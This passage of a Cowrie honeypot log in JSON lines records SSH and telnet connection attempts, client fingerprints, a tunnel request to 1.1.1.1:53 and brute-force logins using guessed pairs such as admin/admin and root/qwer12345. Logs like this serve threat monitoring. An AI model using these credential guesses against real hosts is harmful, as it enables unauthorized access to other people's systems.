a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:11.520489Z","src_ip":"87.251.64.176","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:11.806841Z","src_ip":"87.251.64.176","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:11.905526Z","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:12.002670Z","src_ip":"87.251.64.176","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:12.100425Z","src_ip":"87.251.64.176","session":"6079b5e58c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":38602,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ed4f709e09","protocol":"ssh","message":"New connection: 45.173.103.113:38602 (10.17.0.5:22) [session: 39ed4f709e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:13.956523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:13.961217Z","src_ip":"45.173.103.113","session":"39ed4f709e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:14.065367Z","src_ip":"45.173.103.113","session":"39ed4f709e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"external","password":"external","message":"login attempt [external/external] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:14.513698Z","src_ip":"45.173.103.113","session":"39ed4f709e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:15.623683Z","src_ip":"45.173.103.113","session":"39ed4f709e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.01704239845276,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:23.102623Z","src_ip":"79.139.59.21","session":"c27ec914a72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":52852,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f5975b6390","protocol":"ssh","message":"New connection: 153.80.249.112:52852 (10.17.0.5:22) [session: b9f5975b6390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:38.976046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:38.980027Z","src_ip":"153.80.249.112","session":"b9f5975b6390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:39.062278Z","src_ip":"153.80.249.112","session":"b9f5975b6390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:39.450088Z","src_ip":"153.80.249.112","session":"b9f5975b6390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:01:40.542276Z","src_ip":"153.80.249.112","session":"b9f5975b6390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42494,"dst_ip":"159.203.135.109","dst_port":23,"session":"d766024a5a78","protocol":"telnet","message":"New connection: 69.4.83.194:42494 (159.203.135.109:23) [session: d766024a5a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:02:46.689660Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":35358,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5ce46731ab","protocol":"ssh","message":"New connection: 115.135.235.126:35358 (10.17.0.5:22) [session: ac5ce46731ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:00.754195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:00.762098Z","src_ip":"115.135.235.126","session":"ac5ce46731ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:01.034192Z","src_ip":"115.135.235.126","session":"ac5ce46731ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer12345","message":"login attempt [root/qwer12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:02.180306Z","src_ip":"115.135.235.126","session":"ac5ce46731ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:03.487044Z","src_ip":"115.135.235.126","session":"ac5ce46731ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":45882,"dst_ip":"10.17.0.5","dst_port":22,"session":"3020eec0d756","protocol":"ssh","message":"New connection: 153.80.249.112:45882 (10.17.0.5:22) [session: 3020eec0d756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:04.873634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:04.877942Z","src_ip":"153.80.249.112","session":"3020eec0d756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:04.968259Z","src_ip":"153.80.249.112","session":"3020eec0d756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":44622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db3331dfede","protocol":"ssh","message":"New connection: 45.173.103.113:44622 (10.17.0.5:22) [session: 2db3331dfede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:05.234186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:05.239231Z","src_ip":"45.173.103.113","session":"2db3331dfede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"webadmin","message":"login attempt [webadmin/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:05.339847Z","src_ip":"153.80.249.112","session":"3020eec0d756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:05.346476Z","src_ip":"45.173.103.113","session":"2db3331dfede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dx123456","message":"login attempt [root/Dx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:05.784342Z","src_ip":"45.173.103.113","session":"2db3331dfede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:06.432824Z","src_ip":"153.80.249.112","session":"3020eec0d756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:06.889424Z","src_ip":"45.173.103.113","session":"2db3331dfede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19292950630188,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:20.882469Z","src_ip":"69.4.83.194","session":"d766024a5a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea10d6afe36e","protocol":"ssh","message":"New connection: 80.66.85.226:37080 (159.203.135.109:22) [session: ea10d6afe36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:28.119178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:28.123515Z","src_ip":"80.66.85.226","session":"ea10d6afe36e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:28.212850Z","src_ip":"80.66.85.226","session":"ea10d6afe36e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0807199","message":"login attempt [root/0807199] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:28.479949Z","src_ip":"80.66.85.226","session":"ea10d6afe36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:29.571564Z","src_ip":"80.66.85.226","session":"ea10d6afe36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35158,"dst_ip":"159.203.135.109","dst_port":23,"session":"f430a84887a4","protocol":"telnet","message":"New connection: 69.4.83.194:35158 (159.203.135.109:23) [session: f430a84887a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:39.827611Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":52510,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63e41f17e08","protocol":"ssh","message":"New connection: 218.78.60.105:52510 (10.17.0.5:22) [session: f63e41f17e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:55.357106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:55.362379Z","src_ip":"218.78.60.105","session":"f63e41f17e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:03:56.956845Z","src_ip":"218.78.60.105","session":"f63e41f17e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.98831343650818,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:12.815790Z","src_ip":"69.4.83.194","session":"f430a84887a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.236","src_port":4682,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b13d523cf8","protocol":"ssh","message":"New connection: 92.118.39.236:4682 (10.17.0.5:22) [session: 11b13d523cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:19.448264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:19.453145Z","src_ip":"92.118.39.236","session":"11b13d523cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","dif